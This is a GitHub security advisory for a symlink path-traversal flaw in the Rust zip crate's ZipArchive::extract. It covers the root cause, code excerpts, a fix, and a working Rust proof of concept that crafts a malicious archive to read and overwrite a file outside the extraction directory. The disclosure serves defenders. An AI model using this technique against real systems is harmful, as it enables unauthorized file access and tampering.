Skip to main content
Menu
Advisories

zip: ZipArchive::extract creates symbolic links whose attacker-controlled targets are outside the destination directory

GHSA-4V9H-P7M9-RH26Published Updated GitHub

Description

In zip 9.0.0-pre2, ZipArchive::extract creates a symbolic link from an archive entry after validating only the output entry path. The link target bytes are passed directly to the platform symlink API, so a malicious archive can create an entry inside the destination that resolves to an attacker-chosen path outside it. This behavior was verified on macOS and Linux. On either platform, a subsequent application read or write through that extracted entry accesses the external target with the extracting process's permissions.

Details

Root Cause

ZipArchive::extract calls safe_prepare_path to validate the destination entry name, then handles symbolic-link entries separately. For a new final entry, safe_prepare_path finds no on-disk object and returns without evaluating the archive-provided link target. The symbolic-link branch then reads the target from the archive and passes it to make_symlink.

On Unix, make_symlink_impl directly invokes std::os::unix::fs::symlink with that target. This permits absolute targets and relative targets that resolve outside the extraction directory, despite the extract API contract stating that symbolic links are only created and followed when their targets are within the destination directory.

Relevant Code

src/read/mod.rs:

file.safe_prepare_path(directory.as_ref(), &mut outpath, root_dir.as_ref())?;

#[cfg(any(unix, windows))]
if file.is_symlink() {
    let mut target = Vec::with_capacity(file.size() as usize);
    file.read_to_end(&mut target)?;
    drop(file);
    make_symlink(&outpath, &target, &self.shared.files)?;
    continue;
}

src/read/mod.rs:

pub(crate) fn make_symlink_impl<T>(
    outpath: &Path,
    target_str: &str,
    _existing_files: &IndexMap<Box<[u8]>, T>,
) -> ZipResult<()> {
    std::os::unix::fs::symlink(Path::new(&target_str), outpath)?;
    Ok(())
}

src/read/zipfile.rs:

let meta = match std::fs::symlink_metadata(&outpath) {
    Ok(meta) => meta,
    Err(e) if e.kind() == io::ErrorKind::NotFound => {
        if !is_last {
            make_writable_dir_all(&outpath)?;
        }
        break;
    }
    Err(e) => return Err(e.into()),
};

Recommended Fix

Before creating a symbolic link, reject an absolute target and reject a relative target whose normalized resolution from the link's parent would leave the destination directory. Apply the same validation on every supported platform. A regression test should cover an archive containing a single link entry whose target is both ../outside and an absolute path; extract should return an error and create no link.

PoC

Requirements

  • Rust toolchain
  • zip = "=9.0.0-pre2"
  • macOS or Linux with symbolic-link support

PoC

use std::fs;
use std::io::{Cursor, Write};
use tempfile::TempDir;
use zip::write::SimpleFileOptions;
use zip::{ZipArchive, ZipWriter};

fn symlink_archive(link_name: &str, target: &str) -> Result<Vec<u8>, Box<dyn std::error::Error>> {
    let mut writer = ZipWriter::new(Cursor::new(Vec::new()));
    writer.add_symlink(link_name, target, SimpleFileOptions::default())?;
    Ok(writer.finish()?.into_inner())
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let workspace = TempDir::new()?;
    let destination = workspace.path().join("destination");
    fs::create_dir(&destination)?;
    let outside_secret = workspace.path().join("outside-secret.txt");
    fs::write(&outside_secret, b"before")?;

    let archive = symlink_archive("outside-link", outside_secret.to_str().unwrap())?;
    ZipArchive::new(Cursor::new(archive))?.extract(&destination)?;

    let planted = destination.join("outside-link");
    assert!(fs::symlink_metadata(&planted)?.file_type().is_symlink());
    assert_eq!(fs::read_link(&planted)?, outside_secret);
    assert_eq!(fs::read_to_string(&planted)?, "before");
    fs::write(&planted, b"after")?;
    assert_eq!(fs::read_to_string(&outside_secret)?, "after");
    println!("VULNERABLE: extracted external symlink; post-extract read/write reached outside-secret.txt");

    let mut direct_slip = ZipWriter::new(Cursor::new(Vec::new()));
    direct_slip.start_file("../blocked.txt", SimpleFileOptions::default())?;
    direct_slip.write_all(b"x")?;
    let direct_slip = direct_slip.finish()?.into_inner();
    let direct_error = ZipArchive::new(Cursor::new(direct_slip))?.extract(workspace.path()).unwrap_err();
    assert!(direct_error.to_string().contains("Invalid file path"));
    println!("CONTROL: direct ../ entry rejected");

    let mut follow_link = ZipWriter::new(Cursor::new(Vec::new()));
    follow_link.add_symlink("d", "..", SimpleFileOptions::default())?;
    follow_link.start_file("d/blocked.txt", SimpleFileOptions::default())?;
    follow_link.write_all(b"x")?;
    let follow_link = follow_link.finish()?.into_inner();
    let follow_destination = workspace.path().join("follow-destination");
    fs::create_dir(&follow_destination)?;
    let follow_error = ZipArchive::new(Cursor::new(follow_link))?.extract(&follow_destination).unwrap_err();
    assert!(follow_error.to_string().contains("Invalid symlink target path"));
    assert!(!workspace.path().join("blocked.txt").exists());
    println!("CONTROL: in-archive symlink traversal rejected");

    Ok(())
}

Evidence Output

VULNERABLE: extracted external symlink; post-extract read/write reached outside-secret.txt
CONTROL: direct ../ entry rejected
CONTROL: in-archive symlink traversal rejected
exit code: 0

Impact

Confirmed

A malicious archive can make ZipArchive::extract create a symbolic link inside the extraction directory that targets an attacker-chosen external path. The PoC confirmed that subsequent reads and writes through that extracted path read and overwrite an external file selected by the archive, subject to the extracting process's filesystem permissions.

Preconditions

The application extracts an attacker-controlled ZIP using ZipArchive::extract on a platform that creates symbolic links, and subsequently follows an extracted entry for a read or write. The external target must be accessible to the extracting process.

Affected versions

References

GitHub · zip-rs/zip2